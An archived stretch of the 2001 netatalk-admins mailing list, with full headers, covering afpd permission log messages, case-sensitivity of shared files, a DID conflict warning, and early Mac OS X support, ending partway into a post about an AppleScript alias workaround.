> > Apr 23 16:30:20 epidote afpd[25250]: setdirowner: chown -1/0
> > .AppleDouble/.Parent: Operation not permitted

> >From my investigations tonight (whew!), these are not really errors.
> Just to clarify what is happening above:
> These are all being triggered by calls to FPSetDirParms from the
> mac.  It
> passes a big structure full of permission bits, user and group ids,
> etc. In the current code, when the chown fails, we call syslog at
> LOG_ERR level.  In the asun2.1.4 code, it called syslog at LOG_DEBUG
> level.  In both cases, no error was passed to the mac client because
> really, afpd should deal with this operation properly or just ignore
> it.  At the LOG_DEBUG level, most users never saw the "error".
>
> Somewhere around revision 1.6 of etc/afpd/unix.c, someone changed the
> LOG_ERR to LOG_DEBUG, apparently in the throes of adding dropkludge
> support.  If there was a valid reason for the change, please speak up.
> Otherwise, we should change those back to LOG_DEBUG so we don't scare
our users.

>	Andy

So to clarify for the newbies, this breaks down to "This isn't a problem?"
We just need to tell our sysloggers to ignore it? Are the errors
catagorized as something like afpd.error or something similar that we can
configure our syslogs to ignore? I don't want to miss other errors, or
have my console window so full of this information that I miss others. If
and when the change is made in the CVS, will someone post here, so I can
test that new version?

-Karen

--end copy--

Now, of course your error is 'chmod' instead of 'chown,' of course, so
this might not apply. 

Not a bad idea to reply to the list, so they know if a solution doesn't
work. But I'm just a newbie here, so take my words with a largish grain
of salt...

-Karen


*                                                     *
Karen Swanberg              |                         
Network Admin.              |               GNUmusk, an 
Dept. of Geology/Geophysics |        opensource cologne
206 Pillsbury Hall          |                         
310 Pillsbury Ave. SE       |       Old geeks never die                    
University of Mn            |          They just revert
Minneapolis, MN 55455       |              to cleartext
(612) 624-6541              |                         
*                                                     *



From netatalk.administrators-errors@umich.edu  Tue May  8 16:00:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA07829
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 8 May 2001 16:00:31 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA00986
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 8 May 2001 16:00:30 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA00958
	for netatalk.administrators-members@umich.edu; Tue, 8 May 2001 16:00:30 -0400 (EDT)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id QAA00919
	for <netatalk-admins@umich.edu>; Tue, 8 May 2001 16:00:29 -0400 (EDT)
Received: (qmail 24546 invoked by uid 500); 8 May 2001 20:00:19 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 8 May 2001 20:00:19 -0000
Date: Tue, 8 May 2001 15:00:19 -0500 (CDT)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: Karen A Swanberg <swanberg@tc.umn.edu>
cc: <netatalk-admins@umich.edu>
Subject: Re: permissions prob
In-Reply-To: <Pine.SOL.4.20.0105081421370.23600-100000@garnet.tc.umn.edu>
Message-ID: <Pine.LNX.4.30.0105081458410.24535-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Tue, 8 May 2001, Karen A Swanberg wrote:

I would like to know how to make a source RPM using the CVS tree. I *do*
know how to make an RPM from the src.rpm.

-Dan


>>SNIP
>
> work. But I'm just a newbie here, so take my words with a largish grain
> of salt...
>
> -Karen
>
>
> *                                                     *
> Karen Swanberg              |
> Network Admin.              |               GNUmusk, an
> Dept. of Geology/Geophysics |        opensource cologne
> 206 Pillsbury Hall          |
> 310 Pillsbury Ave. SE       |       Old geeks never die
> University of Mn            |          They just revert
> Minneapolis, MN 55455       |              to cleartext
> (612) 624-6541              |
> *                                                     *
>
>
>

-- 

Daniel E. Lautenschleger
University of Wisconsin
R.M. Bock Laboratories
Network Administrator and Computer Support
dan@www.molbio.wisc.edu


From netatalk.administrators-errors@umich.edu  Wed May  9 23:21:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA09562
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 9 May 2001 23:21:27 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA02525
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 9 May 2001 23:21:27 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA02502
	for netatalk.administrators-members@umich.edu; Wed, 9 May 2001 23:21:27 -0400 (EDT)
Received: from dfw7-1.relay.mail.uu.net (dfw7-1.relay.mail.uu.net [199.171.54.106])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA02444
	for <netatalk-admins@umich.edu>; Wed, 9 May 2001 23:21:25 -0400 (EDT)
Received: from [206.138.67.224] by dfw7sosrv11.alter.net with ESMTP 
	(peer crosschecked as: fire-out.newtimes.com [206.138.77.3])
	id QQkoiv10843
	for <netatalk-admins@umich.edu>; Thu, 10 May 2001 03:21:24 GMT
Date: Wed, 09 May 2001 22:21:19 -0500
Subject: a strange discovery...
From: Dave Ritter <dave.ritter@newtimes.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B71F735E.12C24%dave.ritter@newtimes.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Has anyone noticed that directories and files shared by netatalk are case
sensitive? 

I can have a folder on my netatalk server with three files named test, TEST
and Test. These files exist fine together in the same folder as long as they
are on the server. If I copy this folder to my desktop, the Finder complains
about a file named "test" already existing. This is an easy problem when
there are only three files but when you have hundreds of files it is another
matter.

I know I will get answers back about using the case conversion options but I
would like to find a more elegant way of handling this.

Now that I think about this, I am surprised I have not seen this problem
before.

it should not make any difference but...
Red Hat 7 on intel
Software RAID 5 on SCSI disks
Switched 100 base-t network
netatalk-1.5pre3-1mdk.i586.rpm

We use netatalk servers in a newspaper production environment.
We use Quark XPress and I despise it because of it's bad network behavior.

-Dave


From netatalk.administrators-errors@umich.edu  Thu May 10 05:20:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA19613
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 10 May 2001 05:20:07 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA05215
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 10 May 2001 05:20:07 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA05202
	for netatalk.administrators-members@umich.edu; Thu, 10 May 2001 05:20:06 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA05181
	for <netatalk-admins@umich.edu>; Thu, 10 May 2001 05:20:05 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f4A9K3g01562
	for <netatalk-admins@umich.edu>; Thu, 10 May 2001 11:20:03 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f4A9K1O03299
	for netatalk-admins@umich.edu; Thu, 10 May 2001 11:20:01 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.22 #1 (Debian))
	id 14xmLy-0000DC-00
	for <netatalk-admins@umich.edu>; Thu, 10 May 2001 11:03:22 +0200
Date: Thu, 10 May 2001 11:03:22 +0200
To: netatalk-admins@umich.edu
Subject: Re: a strange discovery...
Message-ID: <20010510110322.B780@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <B71F735E.12C24%dave.ritter@newtimes.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <B71F735E.12C24%dave.ritter@newtimes.com>; from dave.ritter@newtimes.com on Wed, May 09, 2001 at 10:21:19PM -0500
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Wed, May 09, 2001 at 10:21:19PM -0500, Dave Ritter wrote:

> Has anyone noticed that directories and files shared by netatalk are case
> sensitive? 

Sure. As long as the underlying file system is case-sensitive (as are most
Unix file system), you can have different files with the same name.

> I know I will get answers back about using the case conversion options but I
> would like to find a more elegant way of handling this.

The only possible solution that comes to my mind is using a
case-insensitive file system like Windows VFAT. (I don't know about NTFS
which may be an even better choice, because of ACL support.) You can't
really fix this in Netatalk, since you may always move files on the Unix
side.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Thu May 10 09:03:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA25883
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 10 May 2001 09:03:44 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA00920
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 10 May 2001 09:03:43 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA00900
	for netatalk.administrators-members@umich.edu; Thu, 10 May 2001 09:03:43 -0400 (EDT)
Received: from mail.jamesltaylor.com (mail.jamesltaylor.com [205.232.131.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA00861
	for <netatalk-admins@umich.edu>; Thu, 10 May 2001 09:03:41 -0400 (EDT)
Received: from [205.232.131.4] (CAD.jamesltaylor.com [205.232.131.4])
	by mail.jamesltaylor.com (8.9.3/8.8.7) with ESMTP id KAA09181
	for <netatalk-admins@umich.edu>; Thu, 10 May 2001 10:00:23 -0400
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 10 May 2001 09:02:52 -0500
Subject: Re: a strange discovery...
From: Vic Landi <vic@mail.jamesltaylor.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B72009BC.2365%vic@jamesltaylor.com>
In-Reply-To: <B71F735E.12C24%dave.ritter@newtimes.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I've also experienced something weirder...

Say there are 2 folders with different contents named "Test" and "test", I
copy over folder "test" and wind up with a folder named "test" but the
contents of "Test"

The problem will go away once there is a full move to the OSX style OS which
is Unix based and thus also case sensitive...

> From: Dave Ritter <dave.ritter@newtimes.com>
> Date: Wed, 09 May 2001 22:21:19 -0500
> To: <netatalk-admins@umich.edu>
> Subject: a strange discovery...
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Wed, 9 May 2001 23:26:47 -0400 (EDT)
> 
> Has anyone noticed that directories and files shared by netatalk are case
> sensitive? 
> 
> I can have a folder on my netatalk server with three files named test, TEST
> and Test. These files exist fine together in the same folder as long as they
> are on the server. If I copy this folder to my desktop, the Finder complains
> about a file named "test" already existing. This is an easy problem when
> there are only three files but when you have hundreds of files it is another
> matter.
> 
> I know I will get answers back about using the case conversion options but I
> would like to find a more elegant way of handling this.
> 
> Now that I think about this, I am surprised I have not seen this problem
> before.
> 
> it should not make any difference but...
> Red Hat 7 on intel
> Software RAID 5 on SCSI disks
> Switched 100 base-t network
> netatalk-1.5pre3-1mdk.i586.rpm
> 
> We use netatalk servers in a newspaper production environment.
> We use Quark XPress and I despise it because of it's bad network behavior.
> 
> -Dave


From netatalk.administrators-errors@umich.edu  Fri May 11 11:01:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA18018
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 11 May 2001 11:01:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA15167
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 11 May 2001 11:01:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA15147
	for netatalk.administrators-members@umich.edu; Fri, 11 May 2001 11:01:01 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA15089
	for <netatalk-admins@umich.edu>; Fri, 11 May 2001 11:00:59 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id QAA01741
	for <netatalk-admins@umich.edu>; Fri, 11 May 2001 16:55:24 +0200
Message-ID: <3AFBFD5D.A5BB38A5@euc.de>
Date: Fri, 11 May 2001 16:55:24 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: DID conflict
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA18018

hmm,

afpd[399]: WARNING: DID conflict for


does anyone knows if this is a serious warning or can it be ignored?


-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
der Abfallwirtschaftsbetriebe Köln (AWB) und dem
Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Fri May 11 15:10:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA00102
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 11 May 2001 15:10:20 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA08703
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 11 May 2001 15:10:12 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA08698
	for netatalk.administrators-members@umich.edu; Fri, 11 May 2001 15:10:11 -0400 (EDT)
Received: from despair.sowrong.org (syr-24-24-23-149.twcny.rr.com [24.24.23.149])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA08694
	for <netatalk-admins@umich.edu>; Fri, 11 May 2001 15:10:10 -0400 (EDT)
Received: (from cjc26@localhost)
	by despair.sowrong.org (8.11.0/8.11.0) id f4BJC0M26633;
	Fri, 11 May 2001 15:12:00 -0400 (EDT)
Date: Fri, 11 May 2001 15:12:00 -0400
From: Cliff Crawford <cjc26@cornell.edu>
To: Vic Landi <vic@mail.jamesltaylor.com>
Cc: netatalk-admins@umich.edu
Subject: Re: a strange discovery...
Message-ID: <20010511151200.A26615@cornell.edu>
References: <B71F735E.12C24%dave.ritter@newtimes.com> <B72009BC.2365%vic@jamesltaylor.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <B72009BC.2365%vic@jamesltaylor.com>; from vic@mail.jamesltaylor.com on Thu, May 10, 2001 at 09:02:52AM -0500

* Vic Landi <vic@mail.jamesltaylor.com> menulis:
> I've also experienced something weirder...
> 
> Say there are 2 folders with different contents named "Test" and "test", I
> copy over folder "test" and wind up with a folder named "test" but the
> contents of "Test"
> 
> The problem will go away once there is a full move to the OSX style OS which
> is Unix based and thus also case sensitive...

Actually, OS X uses the HFS filesystem by default, so it won't be case
sensitive either.  You can install it using UFS (Unix Filesystem)
though.


-- 
Cliff Crawford   http://www.sowrong.org/
birthday party cheesecake jellybean BOOM

From netatalk.administrators-errors@umich.edu  Sat May 12 12:40:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA05324
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 12 May 2001 12:40:42 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA07055
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 12 May 2001 12:40:42 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA07034
	for netatalk.administrators-members@umich.edu; Sat, 12 May 2001 12:40:41 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA06959
	for <Netatalk-Admins@umich.edu>; Sat, 12 May 2001 12:40:39 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000070394 for <Netatalk-Admins@umich.edu>; Sat, 12 May 2001 18:36:13 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a04310100b7230f62be6c@[192.168.1.201]>
In-Reply-To: 
 <Pine.LNX.4.30.0104041448340.24655-100000@hooloovoo.math.ohio-state.edu>
References: 
 <Pine.LNX.4.30.0104041448340.24655-100000@hooloovoo.math.ohio-state.edu>
Date: Sat, 12 May 2001 18:40:31 +0200
To: Netatalk-Admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Mac OS X and netatalk... (just an echo...)
Content-Type: text/plain; charset="us-ascii"


just to get this one back to discussion: any new version with osx-related bugs fixed on the way? I've been trying some alternatives, such as sharity (see vtracker) to mount samba shares via NFS on OSX, but in my opinion it is a) way slow b) not really worth the money.
Besides, all resource stuff gets lost that way, which is not a problem for our website directories, but indeed for our source work directories. 

I'd love to find out there's a specific patch out there for the OSX 'flush fork' issue... (for either tree, asun or sourceforge:  they're both there, ready to _(re-re-re-re...)make_....).

....

:-)

Lorenzo


From netatalk.administrators-errors@umich.edu  Sat May 12 13:07:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA06008
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 12 May 2001 13:07:57 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA25083
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 12 May 2001 13:07:57 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA25071
	for netatalk.administrators-members@umich.edu; Sat, 12 May 2001 13:07:56 -0400 (EDT)
Received: from austin-jump.vircio.com ([216.30.106.234])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA25033
	for <Netatalk-Admins@umich.edu>; Sat, 12 May 2001 13:07:55 -0400 (EDT)
Received: (qmail 8352 invoked by uid 104); 12 May 2001 17:07:54 -0000
Received: from cwg-dated-94e7e1cb2df32ffe@deepeddy.com by austin-jump.vircio.com with qmail-scanner-0.90 (uvscan: v4.1.20/v4127. . Clean. Processed in 0.271001 secs); 12/05/2001 12:07:54
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-94e7e1cb2df32ffe@deepeddy.com>)
          by funinacapulco.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <Netatalk-Admins@umich.edu>; 12 May 2001 17:07:54 -0000
Received: (qmail 14121 invoked by alias); 12 May 2001 17:07:53 -0000
From: "Chris Garrigues" <cwg-dated-94e7e1cb2df32ffe@deepeddy.com>
Received: (qmail 14098 invoked from network); 12 May 2001 17:07:52 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) (cwg@[10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <lopez.on.the.lists@yellowspace.net@fixme>; 12 May 2001 17:07:52 -0000
X-Mailer: exmh version 2.2_20000822 06/23/2000 with nmh-1.0.4
To: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Cc: Netatalk-Admins@umich.edu
Subject: Re: Mac OS X and netatalk... (just an echo...) 
In-Reply-To: <a04310100b7230f62be6c@[192.168.1.201]> 
References: <Pine.LNX.4.30.0104041448340.24655-100000@hooloovoo.math.ohio-state.edu> <a04310100b7230f62be6c@[192.168.1.201]>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_256044320P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Sat, 12 May 2001 12:07:52 -0500
Message-ID: <14094.989687272@deepeddy.com>
Mail-Reply-To: cwg-dated-94e7e1cb2df32ffe@DeepEddy.Com

--==_Exmh_256044320P
Content-Type: multipart/mixed; boundary="----- =_aaaaaaaaaa0"
Content-Id: <14089.989687272.0@deepeddy.com>

------- =_aaaaaaaaaa0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <14089.989687272.1@deepeddy.com>

> From:  Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
> Date:  Sat, 12 May 2001 18:40:31 +0200
>
> 
> just to get this one back to discussion: any new version with osx-related b
> ugs fixed on the way? I've been trying some alternatives, such as sharity (
> see vtracker) to mount samba shares via NFS on OSX, but in my opinion it is
>  a) way slow b) not really worth the money.
> Besides, all resource stuff gets lost that way, which is not a problem for 
> our website directories, but indeed for our source work directories. 
> 
> I'd love to find out there's a specific patch out there for the OSX 'flush 
> fork' issue... (for either tree, asun or sourceforge:  they're both there, 
> ready to _(re-re-re-re...)make_....).
> 
> ....
> 
> :-)

Last I heard was in this message on the devel list, which makes it sound like 
we're on our way, but nowhere near ready for production.


------- =_aaaaaaaaaa0
Content-Type: message/rfc822
Content-ID: <14089.989687272.2@deepeddy.com>
Content-Description: forwarded message

Received: (qmail 4442 invoked from network); 7 May 2001 23:21:00 -0000
Received: from austin-jump.vircio.com (qmailr@[10.1.10.1]) (envelope-sender <netatalk-devel-admin@lists.sourceforge.net>)
          by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP
          for <cwg-netatalk-devel@deepeddy.com>; 7 May 2001 23:21:00 -0000
Received: (qmail 31221 invoked by uid 104); 7 May 2001 23:21:00 -0000
Received: from netatalk-devel-admin@lists.sourceforge.net by austin-jump.vircio.com with qmail-scanner-0.90 (uvscan: v4.1.20/v4127. . Clean. Processed in 0.214683 secs); 07/05/2001 18:21:00
Received: from usw-sf-fw2.sourceforge.net (HELO usw-sf-list1.sourceforge.net) ([216.136.171.252]) (envelope-sender <netatalk-devel-admin@lists.sourceforge.net>)
          by mailhost.deepeddy.com (qmail-ldap-1.03) with SMTP
          for <cwg-netatalk-devel@deepeddy.com>; 7 May 2001 23:20:59 -0000
Received: from localhost ([127.0.0.1] helo=usw-sf-list1.sourceforge.net)
	by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 14wuIM-0007Ix-00; Mon, 07 May 2001 16:20:02 -0700
Received: from abarrach.franken.de ([195.37.132.42])
	by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 14wuI9-0007HU-00
	for <Netatalk-devel@lists.sourceforge.net>; Mon, 07 May 2001 16:19:49 -0700
Received: (from atalk@localhost)
	by abarrach.franken.de (8.10.0/8.10.0) id f47NJGp27275
	for Netatalk-devel@lists.sourceforge.net; Tue, 8 May 2001 01:19:16 +0200
From: Netatalk <atalk@abarrach.franken.de>
To: Netatalk-devel@lists.sourceforge.net
Message-ID: <20010508011915.A5133@abarrach.franken.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0.1i
Subject: [Netatalk-devel] MacOS X
Sender: netatalk-devel-admin@lists.sourceforge.net
Errors-To: netatalk-devel-admin@lists.sourceforge.net
X-BeenThere: netatalk-devel@lists.sourceforge.net
X-Mailman-Version: 2.0.5
Precedence: bulk
List-Help: <mailto:netatalk-devel-request@lists.sourceforge.net?subject=help>
List-Post: <mailto:netatalk-devel@lists.sourceforge.net>
List-Subscribe: <http://lists.sourceforge.net/lists/listinfo/netatalk-devel>,
	<mailto:netatalk-devel-request@lists.sourceforge.net?subject=subscribe>
List-Id: <netatalk-devel.lists.sourceforge.net>
List-Unsubscribe: <http://lists.sourceforge.net/lists/listinfo/netatalk-devel>,
	<mailto:netatalk-devel-request@lists.sourceforge.net?subject=unsubscribe>
List-Archive: <http://lists.sourceforge.net/archives//netatalk-devel/>
Date: Tue, 8 May 2001 01:19:15 +0200

Hi folks,

I wanted to report my success with MacOS X patch 2 and the recent netatalk
version from sourceforge, checked out today:

- mounting works fine (ASIP)
- listing directories from finder works
- copying files from finder by drag'n'drop does NOT work
- copying files by terminal does work and files are correctly copied
  over to local hard disk where they can be opened normally
- no crashes seen up to now

I'll research further into what makes a finder copy different from a copy
by terminal. Strange indeed.

CU

Roland

_______________________________________________
Netatalk-devel mailing list
Netatalk-devel@lists.sourceforge.net
http://lists.sourceforge.net/lists/listinfo/netatalk-devel

------- =_aaaaaaaaaa0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <14089.989687272.3@deepeddy.com>

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    Nobody ever got fired for buying Microsoft,
      but they could get fired for relying on Microsoft.



------- =_aaaaaaaaaa0--

--==_Exmh_256044320P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE6/W3oK9b4h5R0IUIRAkpiAJ9HfTgVXp31S43G4vfhJQ39DoMx5wCcCluS
Yyr+XnypZqyEPPROsrpZ2oM=
=tb07
-----END PGP SIGNATURE-----

--==_Exmh_256044320P--

From netatalk.administrators-errors@umich.edu  Sat May 12 13:58:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA07118
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 12 May 2001 13:58:19 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA06269
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 12 May 2001 13:58:10 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA06262
	for netatalk.administrators-members@umich.edu; Sat, 12 May 2001 13:58:10 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA06234
	for <netatalk-admins@umich.edu>; Sat, 12 May 2001 13:58:08 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000070403 for <netatalk-admins@umich.edu>; Sat, 12 May 2001 19:53:46 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a04310101b7231806c60f@[192.168.1.201]>
Date: Sat, 12 May 2001 19:58:04 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: directory alias problem workaround
Content-Type: text/plain; charset="us-ascii"

Hi there,

I've written a small AppleScript that makes 'path-based aliases' and reveals the original upon double-click on the 'alias'. 
